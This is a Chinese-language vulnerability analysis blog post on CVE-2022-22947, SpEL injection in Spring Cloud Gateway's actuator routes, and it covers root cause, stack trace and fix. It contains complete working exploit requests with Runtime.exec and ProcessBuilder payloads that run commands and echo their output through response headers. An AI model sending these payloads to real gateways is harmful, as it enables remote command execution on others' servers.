Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析
Spring Cloud gateway是什么?
Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用
漏洞描述:
当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
漏洞复测:
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 127.0.0.1:8889
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8889/actuator/
Content-Type:application/json
Content-Length: 184 {"id":"test1","filters":[
{
"name":"RewritePath",
"args":{
"test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}"
}
}
]
}
刷新触发请求:
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8889
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8889/actuator/
Content-Type:application/json
直接触发rce:
从0开始漏洞分析:
漏洞预警:https://tanzu.vmware.com/security/cve-2022-22947
受影响的版本锁定:
Spring Cloud Gateway
3.1.0
3.0.0 to 3.0.6
Older, unsupported versions are also affected
直接去github查看:
看diff,对比:
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
全局搜索.java等关键字:
关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
通过代码,很容易看出来,这是spel注入,符合前面漏洞预警说的代码注入:
现在sink找到了,就差source,看情况是这样子的
除了这样找sink,还可以通过commit查看,无需对比,一样是关键字搜索:
拉到漏洞修复版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1
看到spel,盲猜spel注入,跟进去看看:
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b
好了,下面开始第二步分析,从下往上找,目前已基础判断出sink为spel注入,从下往上走:
漏洞环境搭建好了,所以我直接去idea里面打开路径:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
idea里面对应的路径:
springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:
可通过Structure查看结构体:
在这里调度出来:
这里直接在sink文件断一刀:
42行
重启服务打exp:
断下来了,拿到利用链:
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)
apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861)
trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)
subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)
subscribe:57, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)
complete:137, Operators (reactor.core.publisher)
subscribe:120, MonoZip (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)
onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)
onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)
innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)
onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:2398, Operators$ScalarSubscription (reactor.core.publisher)
request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
subscribe:55, MonoJust (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:55, MonoDeferContextual (reactor.core.publisher)
onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server)
onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty)
onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport)
onInboundNext:570, HttpServerOperations (reactor.netty.http.server)
channelRead:93, ChannelOperationsHandler (reactor.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:220, HttpTrafficHandler (reactor.netty.http.server)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)
fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:299, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:722, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:584, NioEventLoop (io.netty.channel.nio)
run:496, NioEventLoop (io.netty.channel.nio)
run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:748, Thread (java.lang)
最上层是触发sink结束了
往下看几层:
调度了ShortcutType.DEFAULT枚举重写的normalize方法:
这是方法,下一层就是调用了:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class
protected Map<String, Object> normalizeProperties() {
return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();
}
查看属性value:
其中的key和value就是我们的fiter里面的属性内容:
再往下看一层:
name为我们自定义的RewritePath
结论:引用y4er大佬的话:
这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后 进入getValue执行SPEL表达式造成SPEL表达式注入。
现在是有exp,所以分析出来的,漏洞原理也了解了!但是还是有些点没理解清楚,需要我们刨根问底:
一些疑惑点:
(1)参数传递为什么是这样的?
(2)name设置为RewritePath,为什么要这样设置?
漏洞原理正向分析:
真的想彻底理解漏洞,更需要用户贴近业务:
查看官方文档介绍说明:
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
关键点在这里,官方文档说明可以使用这个接口去创建和删除特定路由:
那说明我们的spring cloud下是存在/routes/这个目录的,以开发经验来看,一般路径申明都在controller层,简单搜索下利用堆栈下的关键字:
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
去这个函数去看看
完全一致:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
这个就是我们的source,现在又回到了老问题,这个source是怎么触发到sink的?
因为代码量不是很大,直接拿出来分析:
@PostMapping({"/routes/{id}"})
public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
r.setId(id);
log.debug("Saving route: " + route);
return r;
})).then(Mono.defer(() -> {
return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build());
}));
}).switchIfEmpty(Mono.defer(() -> {
return Mono.just(ResponseEntity.badRequest().build());
}));
}
先看可控点:
@PathVariable String id, @RequestBody RouteDefinition route
路径就是自定义的id,这个不用管,跟进RouteDefinition类:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class
可以这里面定义了好几个集合,有List的,也有Map的
随便找个继续跟集合的返回类,发现套娃好几层呢:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class
这就是走到底的了,会发现他是name+agrs集合
这样就对上了:
现在要分析的是RewritePath哪里来的:
继续回到代码:
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
发现我们可控的变量进入了这个函数了,比较重要的就是flatMap了,这玩意和map类似,不同的是其每个元素转换得到的是Stream对象,会把子Stream中的元素压缩到父集合中, 人话就是后面的是压缩的子元素,前面的返回的是压缩后的父元素
跟进this::validateRouteDefinition:
在这个方法下下个断点:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
anyMatch:判断的条件里,任意一个元素成功,返回true
allMatch:判断条件里的元素,所有的都是,返回true
noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true
看着难看,利用Evuluate循环打印:
for(int i=0;i<this.GatewayFilters.size();i++){
System.out.println(GatewayFilters.get(i).name());
}
就是这些:
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
可以看到我们的RewritePath就在其中
修复方案:
修改为StandardEvaluationContext为SimpleEvaluationContext
spel注入类常见的有两种:
StandardEvaluationContext 更加灵活 SimpleEvaluationContext 安全的,有限制的
不出网的话,我们上面的方法就不是很好使,需要调试出回显方法?
网上出了好多回显示案例,找一个复测下:
spring cloud回显测试:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332 {
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
访问创建的路由地址:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
spring cloud gateway 回显原理分析:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class
把配置内容,添加到了响应请求头
除了这个还有很多,找类似点,发现当name为:
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........
任意一个,均可以回显
POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293 {
"id": "After",
"filters": [{
"name": "SetRequestHeader",
"args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
访问:
漏洞批量检测:
nuclei上看到有人提了相关检测方法:
技术参考:
(1)y4er p师傅知识星球
(2)spring cloud文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
(3)最好的spel注入学习文章:https://cryin.github.io/blog/SpEL injection/
Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析的更多相关文章
- CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
目录 0 环境搭建 1 漏洞触发点 2 构建poc 3 总结 参考 0 环境搭建 影响范围: Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Ga ...
- Spring Cloud Gateway(二):Spring Cloud Gateway整合Eureka应用
Spring Cloud Gateway 应用概述 下面的示例启动两个服务:gataway-server 和 user-service 都注册到注册中心 Eureka上,客户端请求后端服务[user- ...
- Spring cloud gateway
==================================为什么需要API gateway?==================================企业后台微服务互联互通, 因为 ...
- 微服务架构之spring cloud gateway
Spring Cloud Gateway是spring cloud中起着非常重要的作用,是终端调用服务的入口,同时也是项目中每个服务对外暴露的统一口径,我们可以在网关中实现路径映射.权限验证.负载均衡 ...
- 微服务网关实战——Spring Cloud Gateway
导读 作为Netflix Zuul的替代者,Spring Cloud Gateway是一款非常实用的微服务网关,在Spring Cloud微服务架构体系中发挥非常大的作用.本文对Spring Clou ...
- 最全面的改造Zuul网关为Spring Cloud Gateway(包含Zuul核心实现和Spring Cloud Gateway核心实现)
前言: 最近开发了Zuul网关的实现和Spring Cloud Gateway实现,对比Spring Cloud Gateway发现后者性能好支持场景也丰富.在高并发或者复杂的分布式下,后者限流和自定 ...
- Spring Cloud gateway 网关四 动态路由
微服务当前这么火爆的程度,如果不能学会一种微服务框架技术.怎么能升职加薪,增加简历的筹码?spring cloud 和 Dubbo 需要单独学习.说没有时间?没有精力?要学俩个框架?而Spring C ...
- Spring Cloud Alibaba学习笔记(20) - Spring Cloud Gateway 内置的全局过滤器
参考:https://cloud.spring.io/spring-cloud-static/Greenwich.SR2/single/spring-cloud.html#_global_filter ...
- 快速突击 Spring Cloud Gateway
认识 Spring Cloud Gateway Spring Cloud Gateway 是一款基于 Spring 5,Project Reactor 以及 Spring Boot 2 构建的 API ...
随机推荐
- 一条SQL更新语句是如何执行的
文章首发于公众号「蝉沐风」,认真写好每一篇文章,欢迎大家关注交流 这是图解MySQL的第2篇文章,这篇文章会通过一条SQL更新语句的执行流程让大家清楚地明白: 什么是InnoDB页?缓存页又是什么?为 ...
- JFrame 的层次结构 及 背景设置说明
感谢原文:https://blog.csdn.net/qq_32006373/article/details/49659129 一.JFrame 的层次结构 我们通过两个图来说明一下 JFrame 的 ...
- WebSocket协议详解及应用
WebSocket协议详解及应用(七)-WebSocket协议关闭帧 本篇介绍WebSocket协议的关闭帧,包括客户端及服务器如何发送并处理关闭帧.关闭帧错误码及错误处理方法.本篇内容主要翻译自RF ...
- JavaIO 思维导图
网络搜集,万分感谢!
- UITabBarController的基本使用
- Android下数据库操作——增删改查
Android下数据库第一种方式增删改查 1.创建一个帮助类的对象,调用getReadableDatabase方法,返回一个SqliteDatebase对象 2.使用SqliteDat ...
- Linux防火墙firewalld安全设置
背景描述 防火墙是具有很好的保护作用.入侵者必须首先穿越防火墙的安全防线,才能接触目标计算机.在公司里数据安全是最重要的,要求安全部门进行全公司进行服务器防火墙安全搭建,在原有的基础上进行安全的防火墙 ...
- nodejs process uncaughtException
用过Node一段时间之后,发现那些在事件主循环里碰到的异常会导致Node进程退出.在许多应用场景下,特别是对那些希望永不当机的服务器程序来说,这都是不接受的.uncaughtException事件会提 ...
- Protocol基本概念
1.protocol 基本概念 Protocol翻译过来, 叫做"协议" 在写java的时候都会有接口interface这个概念,接口就是一堆方法的声明没有实现,而在OC里面Int ...
- Jmeter平均响应时间和TPS的计算方法
转自:https://www.cnblogs.com/xianlai-huang/p/7795215.html Jmeter的Throughput和平均RT的计算 1.TPS:每秒处理的事务数,jme ...